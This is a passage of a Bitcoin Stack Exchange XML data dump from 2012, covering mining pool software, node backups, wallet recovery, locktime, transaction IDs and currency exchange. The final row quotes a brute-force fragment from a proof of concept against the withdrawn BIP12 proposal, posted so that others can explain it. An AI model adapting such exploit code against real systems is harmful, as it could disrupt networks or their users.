  <row Id="5871" PostTypeId="2" ParentId="5843" CreationDate="2012-12-20T01:50:08.790" Score="1" Body="&lt;p&gt;Going to look to build up an IronPython VS2012 programming rig &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stratum and Eloipool, As long as you don't use any Python features above 2.7 ,I  can write code that works in both CPython and IronPython, I will be able to debug it in Visual Studio under IronPython, then maybe do a sanity check with native Windows CPython and/or Cygwin CPython, then test on the linux box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a way forward :D&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2012-12-20T01:50:08.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5872" PostTypeId="2" ParentId="4817" CreationDate="2012-12-20T02:52:22.163" Score="5" Body="&lt;p&gt;Well, I would run the bitcoind in a VM, and regularly snapshot it.  If it fails, rollback the snapshot and reboot. Back online in &amp;lt; 10 min, assuming frequent backups and you start working right away.  Not sure if this is the use case you're asking about, but that's what I'd do for max uptime.&lt;/p&gt;&#xA;" OwnerUserId="2472" LastActivityDate="2012-12-20T02:52:22.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostTypeId="2" ParentId="5852" CreationDate="2012-12-20T03:37:32.507" Score="1" Body="&lt;p&gt;Eloipool &amp;amp; Stratum (Slush) seem to be the only active devs that will support the new ASIC chips and move away from the Getwork method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to port an IronPython Version of Stratum :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this as an educational process &amp;amp; maybe one day get a C# version to support the large body of .NET programmers out there &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Slush &amp;amp; Luke Jr &lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2012-12-20T03:37:32.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostTypeId="2" ParentId="5870" CreationDate="2012-12-20T04:34:33.223" Score="2" Body="&lt;p&gt;With the Bitcoin.org client, the node accepts a block only after none of the verification steps fail.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block in the block*&lt;em&gt;chain&lt;/em&gt;* is linked to a prior block with a reference to that prior block's hash.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So take the case where a node sees the longest chain ending at height 1,000.  Then it receives a block 1,001.  The client will then verify that the hash that block gives for block 1,000 truly matches the hash the client already knows about (from the longest chain) for block 1,000.   It won't match, so this 1,001 doesn't extend off of the block 1,000 the client already knows about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the client doesn't have knowledge of any other block 1,000 with that hash that 1,0001 purports to extend from, the client will not accept block 1,001 -- there is no link tying it to any previously received blocks.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-20T04:47:01.237" LastActivityDate="2012-12-20T04:47:01.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostTypeId="2" ParentId="4717" CreationDate="2012-12-20T10:36:00.603" Score="2" Body="&lt;p&gt;I found the following to install PyOpenCL.  It installed on my MBP 8,1 running ML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone http://git.tiker.net/trees/pyopencl.git &#xA;cd pyopencl&#xA;git submodule init&#xA;git submodule update&#xA;python configure.py&#xA;python setup.py build&#xA;make&#xA;sudo python setup.py install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2473" LastEditorUserId="2473" LastEditDate="2012-12-20T17:46:57.937" LastActivityDate="2012-12-20T17:46:57.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostTypeId="1" CreationDate="2012-12-20T12:06:03.947" Score="7" ViewCount="3491" Body="&lt;p&gt;I've installed Bitcoin-Qt after a clean WUBI install, and installed Bitcoin-Qt directly. Now it suddenly says &quot;Error loading &lt;code&gt;blkindex.dat&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume my &lt;code&gt;blkindex.dat&lt;/code&gt; file is corrupted, and I tried reinstalling Bitcoin-Qt with &lt;code&gt;apt&lt;/code&gt; but it didn't work. Maybe if I delete the &lt;code&gt;blkindex.dat&lt;/code&gt; file it will try to create it again, but I don't know where the installation folder is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra information (added by other user); the error will likely look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file blkindex.dat has LSN 727/2518588, past end of log at 727/1519938&#xA;Commonly caused by moving a database from one database environment&#xA;to another without clearing the database LSNs, or by removing all of&#xA;the log files from a database environment&#xA;__db_meta_setup: /home/user/.bitcoin/blkindex.dat: unexpected file type or format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to find this in &lt;code&gt;~/.bitcoin/db.log&lt;/code&gt;. This problem occured when interrupting the client suddenly or maybe because two of them opened the database at the same time.&lt;/p&gt;&#xA;" OwnerUserId="2474" LastEditorUserId="516" LastEditDate="2013-02-18T23:11:51.387" LastActivityDate="2013-10-09T16:31:11.877" Title="How can I recover from a corrupted blkindex.dat on Ubuntu 12.10?" Tags="|block|ubuntu|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5877" PostTypeId="2" ParentId="4817" CreationDate="2012-12-20T17:58:56.413" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/users/2472/lordcirth&quot;&gt;lordcirth&lt;/a&gt;'s VM &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5872/1409&quot;&gt;suggestion&lt;/a&gt; is great, but let's build upon it. Let's think of it more like an elastic cloud VM instead of a snapshotting procedure.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;VM with &lt;code&gt;bitcoind&lt;/code&gt;, optional snapshotting, but definite periodic backups of wallet.dat. Period is equal to the expected rate of change of the wallet.&lt;/li&gt;&#xA;&lt;li&gt;Blockchain files are stored locally but also periodically backed up to a remote disk. An increment every 2 hours would probably suffice, with the standard &lt;a href=&quot;https://en.wikipedia.org/wiki/Backup_rotation_scheme#Grandfather-father-son&quot; rel=&quot;nofollow noreferrer&quot;&gt;Grandfather-father-son&lt;/a&gt; rotation. At 10 minutes per block, that's 8640 blocks that you could be behind with backups a day behind. Son is the semi-daily, father is every 12 hours, and grandfather weekly, with perhaps a great grandfather monthly.&lt;/li&gt;&#xA;&lt;li&gt;When something bad happens to the running VM, don't waste the time rolling back the snapshot. Just fire up a new VM and have it get the latest backup from the remote disk.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In my mind, snapshots are for when you make a change that you want to roll back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want a highly available service that when automated can maximize uptime, go the disposable VM route. The bonus is that you get can spin up additional &lt;code&gt;bitcoind&lt;/code&gt; servers on local metal or within each instance and have an authoritative backup ready to go for them. You'll just have to manage the wallet.dat coordination, since multiple &lt;code&gt;bitcoind&lt;/code&gt; processes can't share those, either.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-12-20T17:58:56.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostTypeId="1" AcceptedAnswerId="5885" CreationDate="2012-12-20T19:04:08.800" Score="1" ViewCount="277" Body="&lt;p&gt;Anytime a transaction has a timestamp attached to it, and there are signed but not submitted transactions at play, shouldn't the holder of the non-submitted tx have to take into account the confirmations w.r.t. the expiration time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely in &lt;a href=&quot;http://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;example 7 of this wiki page on contracts&lt;/a&gt; I would think that if the AP waits until nearly midnight (almost when the tx expires) then there is a possibility of a double spend and the AP may not get paid.  That means the AP would have to submit the tx 6 confirmations early... almost one hour.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a correct understanding of locktime in relation to double spend attacks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How should this be handled when the network is rapidly increasing in block generation (and difficulty hasn't been adjusted)?  This is happening now with the GPU-&gt; ASIC conversion&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-20T19:37:53.607" LastActivityDate="2012-12-20T21:20:17.960" Title="In a given contract, should the &quot;LockTime&quot; timestamp include an extra hour for confirmations to prevent a double spend?" Tags="|doublespend|timestamp|contracts|locktime|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostTypeId="2" ParentId="181" CreationDate="2012-12-20T19:41:36.387" Score="3" Body="&lt;p&gt;Bitcoins can be &quot;counterfeited&quot; if an impostor coin is misrepresented to be the real thing.  In addition to what is listed here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Test network coins may be forged and offered as production network coins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A local instance of the Bitcoin network can be created, and as long as it doesn't communicate with the rest of the world, the coins will last in isolation in that private bitcoin network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-20T19:41:36.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostTypeId="1" AcceptedAnswerId="5881" CreationDate="2012-12-20T19:55:08.127" Score="-3" ViewCount="357" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5747/what-would-happen-if-two-public-keys-had-the-same-base58-hash&quot;&gt;What would happen if two public keys had the same Base58 hash?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;A follow up from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/194/what-happens-if-i-mistype-the-address-when-making-a-payment&quot;&gt;What happens if I mistype the address when making a payment?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I accidentally (or intentionally)send some money to a valid wallet address that no one owns currently. Now, at a later point in time, when someone creates an account which happen to have the same address to which I sent, will the wallet get those coins?&lt;/p&gt;&#xA;" OwnerUserId="2459" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-12-20T20:14:39.947" Title="Can a new wallet receive money that was sent to it before the wallet was created?" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="4" ClosedDate="2013-01-08T07:46:31.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="5881" PostTypeId="2" ParentId="5880" CreationDate="2012-12-20T20:03:34.350" Score="3" Body="&lt;p&gt;Yes, it will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;receive&quot; money one should have a private key corresponding to bitcoin address, nothing more. The keys do not bear any information related to their creation date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intrinsically, bitcoin protocol does not have such thing as &quot;balance&quot;. Blockchain contains only the list of transactions. If you have correct keypair (with public key hashing to destination address) and the transaction output has not already been spent, then you can send this money somewhere. Your &quot;balance&quot; is just a sum of all transaction outputs you can spend. When importing new private key in original bitcoin client, it performs blockchain rescan to find out whether this new address has received any coins previously.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="2343" LastEditDate="2012-12-20T20:14:39.947" LastActivityDate="2012-12-20T20:14:39.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5883" PostTypeId="1" CreationDate="2012-12-20T20:20:01.920" Score="9" ViewCount="1245" Body="&lt;p&gt;I'm studying scripts and am looking for strange or unusual scripts that have appeared in any of the *coin networks..(&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;noreferrer&quot;&gt;outside the standard ones listed on this page&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is any one person, or website listing non-standard transactions that are not generated by the default client?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ideally there would be an analysis of the script and what's going on, but I'm not picky.  I'd even settle for a command line method to extract this data and discover it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to learn what contracts are occurring in each network and determine the frequency of each. (How popular is multi-sig tx over time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I can use this as a tool to learn how people are using the scripting language.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5757" LastEditDate="2014-07-15T22:15:18.040" LastActivityDate="2021-04-14T10:12:36.717" Title="Is there a listing of strange or unusual scripts found in transactions?" Tags="|transactions|script|multi-signature|contracts|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostTypeId="1" CreationDate="2012-12-20T20:22:40.390" Score="4" ViewCount="305" Body="&lt;p&gt;The reference Bitcoin client disables several script commands (the programming within a transaction) due to possible implementation issues in the network.  I think it's possible that a forked client may actually enable such commands.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do any of the other networks (namecoin, litecoin, test or prod, etc) enable disabled script commands?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to test and compare my implementation against others.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="196" LastEditDate="2013-03-03T13:58:02.797" LastActivityDate="2013-03-03T13:58:02.797" Title="Are all the *coin networks consistent in which script actions are permitted and disabled?" Tags="|development|script|testnet|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5885" PostTypeId="2" ParentId="5878" CreationDate="2012-12-20T21:12:10.877" Score="1" Body="&lt;p&gt;The nLockTime is the earliest time that a miner can include that transaction in a block.  It does not mean the exact time that both parties can assume final settlement has occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct to conclude that there is the potential for another transaction (with nLockTime = 0) to be broadcast and be in competition at the same time as the &#xA;original nLockTime &gt; 0) transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it wouldn't necessarily be a double spend, as the transaction seen later with the nLockTime = 0 would have had to have been signed by both parties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a &quot;double spend&quot; scenario occurs, it wouldn't be a surprise to either party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation can occur where the two parties believe the nLockTime = 0 transaction will be the one confirmed and for whatever reason it doesn't get confirmed fast enough.  Instead then at the original transaction's nLockTime (roughly, as there is a couple hour leeway available to the miner as far as timestamp goes) that transaction confirms and thus the transaction submitted later (where nLockTime = 0) will never confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the normal confirmation level threshold (e.g., six confirmations) still applies to these transactions as far as final settlement goes.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-20T21:20:17.960" LastActivityDate="2012-12-20T21:20:17.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostTypeId="2" ParentId="5883" CreationDate="2012-12-20T21:23:17.897" Score="2" Body="&lt;p&gt;Blockchain Info has a list of &lt;a href=&quot;http://blockchain.info/strange-transactions&quot; rel=&quot;nofollow&quot;&gt;strange transactions&lt;/a&gt; that its nodes received but were unable to verify.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-20T21:23:17.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5887" PostTypeId="1" AcceptedAnswerId="5888" CreationDate="2012-12-20T22:20:27.780" Score="8" ViewCount="6096" Body="&lt;p&gt;I'm creating a non-mainstream client that processes and validates Bitcoin transactions and need to track transactions in my database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How is the TxID generated and when does it change?  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically, since sequence is intended to update a transaction, and if the transactions hash were to change I would assume the txid hash would change s well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/w/images/en/e/e1/TxBinaryMap.png&quot;&gt;When I look at this image of a Tx,&lt;/a&gt; it appears that the txid is marked as TxIn (VI) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible or useful for a script to verify the TxID and signature hash?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-20T22:30:54.560" LastActivityDate="2018-11-14T16:42:49.467" Title="How is a Transaction ID generated &amp; when does it change? (with a new sequence ID?)" Tags="|transactions|script|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5888" PostTypeId="2" ParentId="5887" CreationDate="2012-12-20T22:54:18.443" Score="7" Body="&lt;p&gt;TxID is just a SHA256 hash of binary transation data, so it changes upon any modification of transaction.&#xA;Therefore, one cannot include verification of TxID in the script in same transaction (if I correctly understood what you want to achieve).&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-20T22:54:18.443" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostTypeId="2" ParentId="5876" CreationDate="2012-12-21T00:23:01.173" Score="6" Body="&lt;p&gt;On Linux, the Bitcoin client data is kept in the &lt;code&gt;.bitcoin&lt;/code&gt; directory in your home directory. Go to &lt;code&gt;~/.bitcoin/&lt;/code&gt; and you'll see the files in there. You may need to toggle Show Hidden Files in your file manager in order to see the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove &lt;code&gt;blkindex.dat&lt;/code&gt;, the client will have to redownload the blockchain. I just tested this locally by moving my copy of the file to another file name temporarily - the client resync'd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your copy of the index is corrupted apparently, it sounds like you need to delete it and resync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A note: be careful to do not erase your &lt;code&gt;wallet.dat&lt;/code&gt;. I recommend you back it up before. Your &lt;code&gt;wallet.dat&lt;/code&gt; is your private keys.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1761" LastEditDate="2012-12-21T19:37:40.157" LastActivityDate="2012-12-21T19:37:40.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5890" PostTypeId="2" ParentId="5883" CreationDate="2012-12-21T16:49:48.870" Score="1" Body="&lt;p&gt;I have been looking into the same thing lately to build a &quot;Bitcoin Bestiary&quot; with strange transactions. I have downloaded bitcoin tools (&#xA;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt; ). It has an option to trace non-standard transactions:&#xA;  dbdump.py --search-blocks=NONSTANDARD_CSCRIPTS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built on that a python program to study my local blk000x.dat files with the blockchain info. BCDataStream and deserialize come from bitcoin tools.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python &#xA;&#xA;from BCDataStream import *&#xA;import deserialize&#xA;&#xA;def extract_script(d):&#xA;&#xA; for t in d['transactions']:&#xA;&#xA;&#xA;     for txOut in t['txOut']:&#xA;          print  &quot;Prev hash: &quot;+(d['hashPrev'][::-1]).encode('hex')+&quot; Script: &quot;+deserialize.decode_script(txOut['scriptPubKey'])+'\n'   &#xA;&#xA;&#xA; return None&#xA;&#xA;&#xA;def findlock(filename):&#xA;&#xA;    f = open(filename, 'r')&#xA;&#xA;    magic=f.read(4)&#xA;    magicref='f9beb4d9'.decode('hex')&#xA;&#xA;    while magic:&#xA;        size=f.read(4)[::-1].encode('hex')&#xA;        N=int(size,16)&#xA;&#xA;        blk = deserialize.BCDataStream()&#xA;        blk.write(f.read(N))&#xA;        d=deserialize.parse_Block(blk)&#xA;        extract_script(d)&#xA;&#xA;        magic=f.read(4)&#xA;&#xA;    f.close()&#xA;    return None&#xA;&#xA;def test():&#xA;     findlock('blk0001.dat')&#xA;     findlock('blk0002.dat')&#xA;     findlock('blk0003.dat')&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    test()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program dumps the Script in all transactions with the previous block number (I have to improve that, but you can later find the right block). The whole file is about 3 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Linux terminal I redirect the output to a scripts.txt file and then use grep to find commands, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;grep 'IF ' scripts.txt &gt; IF.txt &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MIN, IF, DROP, SWAP, for instance, show interesting things. Some of them are errors (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67158.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=67158.0&lt;/a&gt;), some I don't know.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="2281" LastEditDate="2012-12-21T17:52:07.610" LastActivityDate="2012-12-21T17:52:07.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5891" PostTypeId="1" AcceptedAnswerId="5901" CreationDate="2012-12-22T07:06:11.133" Score="2" ViewCount="5338" Body="&lt;p&gt;After reading about all the hacks I created a passphrase that I cant remember.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are Coins lost forever in the blockchain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There must be a lot of coins in this state… Is there any way to see what coins are active?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trying to retrieve these coins via the public key would break the security of the whole network??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I know 80-90% of what the passphrase is… Is there a piece of software that can brute force attack using my knowledge of the passphrase as a educated library attack??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="132" LastEditDate="2013-04-09T22:05:31.697" LastActivityDate="2020-06-30T20:04:49.200" Title="I lost my Bitcoin wallet passhrase. Are my Bitcoins lost?" Tags="|wallet|bitcoin-core|passphrase|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostTypeId="1" CreationDate="2012-12-22T07:38:04.983" Score="15" ViewCount="70048" Body="&lt;p&gt;How can I convert bitcoins into &lt;a href=&quot;https://en.wikipedia.org/wiki/Indian_rupee&quot; rel=&quot;noreferrer&quot;&gt;Indian rupees&lt;/a&gt; (INR) and get them in paper rupee notes?&lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="1405" LastEditDate="2013-09-27T02:47:24.047" LastActivityDate="2015-12-22T13:11:59.887" Title="How can I convert bitcoins to Indian rupees and vice-versa?" Tags="|exchanges|banks|india|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostTypeId="2" ParentId="5892" CreationDate="2012-12-22T08:15:53.607" Score="6" Body="&lt;p&gt;If someone will want to sell bitcoins for Rupees, they might list it on &lt;a href=&quot;https://localbitcoins.com/&quot;&gt;LocalBitcoins&lt;/a&gt;. It's a good start.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-22T08:15:53.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5894" PostTypeId="1" CreationDate="2012-12-22T08:47:00.500" Score="0" ViewCount="51" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1161/how-to-debug-a-long-0-unconfirmed-status-in-the-bitcoin-client&quot;&gt;How to debug a long “0/unconfirmed” status in the bitcoin client?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have sent a transaction to btc-e and 3 Hours later still no love &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was 6 new blocks per hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say they will recognise the transaction after only 3 confirmations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have thought theoretically that it should be ~1 hour tops &lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-12-22T11:40:25.250" Title="How Long for a transaction?" Tags="|transactions|blockchain|trading|" AnswerCount="0" CommentCount="3" ClosedDate="2013-01-03T17:18:17.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostTypeId="2" ParentId="5883" CreationDate="2012-12-22T15:04:49.137" Score="0" Body="&lt;p&gt;Lacking any other resource to track notable transaction, the following answer is made CW so that anyone can edit it and update as needed.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/block/00000000d14f2e97678951ad004d6699babd27e07ca722c46b30dc24c67eed7a&quot; rel=&quot;nofollow&quot;&gt;Block 728:&lt;/a&gt;  The most common payment type is pubkey-hash which first appeared here. &lt;a href=&quot;http://bitcoinmedia.com/the-truth-behind-bip-16-and-17/&quot; rel=&quot;nofollow&quot;&gt;[source]&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-22T15:04:49.137" CommentCount="0" CommunityOwnedDate="2012-12-22T15:04:49.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostTypeId="2" ParentId="5892" CreationDate="2012-12-22T15:30:52.867" Score="6" Body="&lt;p&gt;See Mahin's &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13221/153&quot;&gt;answer below&lt;/a&gt; for &lt;a href=&quot;http://BuySellBitco.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://BuySellBitco.in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want physical cash without going through a bank then you'll find many individual traders here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/country/in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://localbitcoins.com/country/in&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And there are offers to buy and sell posted in threads on the India board:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?board=89.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?board=89.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But as of December, 2012 there are no market exchanges that can do a domestic bank transfer, so cashing out bitcoins would incur costs as an international wire transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an E-Currency exchange that will buy your coins (or sell bitcoins to you), including sending a bank transfer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/ECurrencyZone&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/ECurrencyZone&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a forum thread of one reputable trader who can also send INR as a bank transfer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=108712.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=108712.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-27T15:54:07.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostTypeId="1" AcceptedAnswerId="5902" CreationDate="2012-12-22T15:33:18.097" Score="2" ViewCount="205" Body="&lt;p&gt;I understand that BIP12 was withdrawn, and probably because of &lt;a href=&quot;https://gist.github.com/1546061&quot; rel=&quot;nofollow&quot;&gt;this exploit below&lt;/a&gt;.  Can someone explain how this attack would have worked and the effect it would have on the network?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; for (;;) {&#xA;    RAND_bytes(nonce.b, sizeof(nonce));&#xA;    RIPEMD160(nonce.b, sizeof(nonce), digest);&#xA;    if (&#xA;      digest[0] == 174 &amp;amp;&amp;amp; // OP_CHECKMULTISIG&#xA;      digest[1] ==  76 &amp;amp;&amp;amp; // OP_PUSHDATA1&#xA;      digest[2] ==  16    // 0x16&#xA;    ) {&#xA;      // We'll print status info on partial hits, just to make things more&#xA;      // interesting.&#xA;      printf(&quot;%llx\n&quot;, nonce.i);&#xA;      print_hex(digest, 20);&#xA;&#xA;      // Check for full hit&#xA;      if (digest[19] == 117) // OP_DROP&#xA;        return;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" 